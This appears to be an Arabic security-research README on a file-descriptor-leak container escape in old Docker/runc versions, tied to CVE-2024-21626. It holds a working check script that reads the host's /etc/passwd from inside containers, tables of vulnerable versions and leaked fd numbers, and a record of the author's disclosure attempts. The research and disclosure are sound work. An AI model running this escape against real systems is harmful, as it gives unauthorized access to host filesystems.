
يحلل ويستغل ثغرة الهروب من الحاوية في إصدارات Docker/runc القديمة، مما يوضح تسرب واصفات الملفات للوصول إلى نظام ملفات المضيف، مع سكربتات الإعداد والاختبار.
أثناء تحليلي لـ CVE-2024-21626 وجدت أن مكونات docker القديمة الأخرى معرّضة لخطر تسريب واصفات الملفات (fd leakage) (وهو أمر غير مذكور في النشرة الأمنية GHSA-xr7r-f8xq-vfvv). اقرأ مقالتي الكاملة للشرح المفصّل هنا.
أثناء التثبيت، لا تقم بتحديد مربع الاختيار الخاص بتنزيل تحديثات النظام.
انتقل إلى https://download.docker.com/linux/static/stable/x86_64/ وقم بتنزيل الإصدار القديم docker-X.Y.Z-ce.tgz للاختبار
قم بفك ضغطه، وانسخ المحتوى إلى المسار /usr/bin وقم بتشغيل Docker daemon.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
في الإصدارات القديمة لدينا docker-runc بدلاً من runc. لذلك تحقق منه:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
تحقق من إصدار doker-runc/runc
runc --version
docker-runc -v
شغّل checkVulnerability.sh ولاحظ ما إذا كان الملف يُطبع في الطرفية
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
في هذا المثال استخدمت إصدار docker-17.03.1-ce.

في هذا المثال استخدمت إصدار docker-17.03.1-ce.

فيما يلي نتائج تحليلي، مرتبة حسب إصدار Docker وإصدار runc المرتبط به.
| إصدار Docker | إصدار runc | رقم واصف الملف المسرَّب |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
هذه لقطة شاشة تُظهر الإصدارات الثلاثة المختلفة المعرّضة للخطر.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
وكما هو الحال مع CVE-2024-21626، لا تزال الأنواع المختلفة من الهجمات ممكنة.
تختلف هذه الثغرة اختلافًا كبيرًا عن CVE-2024-21626 لأن:
openat2./run/runc/<container>/، الذي يحتوي على حالة الحاويات قيد التشغيل، بدلاً من دليل /sys/fs/cgroup الخاص بالمضيف.ما اكتشفته هو أن الإصدارات الأقدم معرّضة أيضًا لنفس تقنية الهجوم. وعلى الرغم من أن الثغرة نفسها تختلف، فإن النتيجة واحدة: الوصول إلى نظام ملفات المضيف. الدرس الأساسي هو عدم الاعتماد حصريًا على النشرات الأمنية - اختبر كل شيء بدقة. افهم CVE وكيف يعمل بشكل كامل، وجرّبه في بيئة آمنة، واستكشف الحالات الحدّية.
حاولت التواصل مع [email protected] و[email protected]، وحاولت فتح CVE. تلقيت الردود التالية:
| إصدار Docker | إصدار docker-runc | رقم واصف الملف المسرَّب |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| الطلب | الرد |
|---|
| [email protected] (19/03/24) | الإصدارات التي أدرجتها كلها إصدارات EOL من البرنامج (تبلغ من العمر ~7 سنوات) ولم تعد مدعومة أو مُحدثة من قِبل Docker. إذا كانت لديك مخاوف بشأن الإصدارات أو الصياغة المدرجة في النشرة GHSA-xr7r-f8xq-vfvv الحالية ("الإصدارات المتأثرة: >= 1.0.0-rc93, <= 1.1.11")، فإن القناة الصحيحة للإبلاغ عنها هي البريد الأمني لمنظمة OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md شكرًا لتواصلك معنا. أخبرنا إذا كان هناك أي شيء آخر يمكننا القيام به |
| [email protected] (20/03/24) | لا يوجد رد |
| CVE-MITRE (15/05/2024) | عادةً لا نخصص معرّفات CVE للمشكلات الموجودة فقط في الإصدارات المرشحة (release candidates). https://www.cve.org/CVERecord?id=CVE-2024-21626 كان قد أثر على الإصدارات المنشورة من runc، مثل الإصدار 1.1.11. |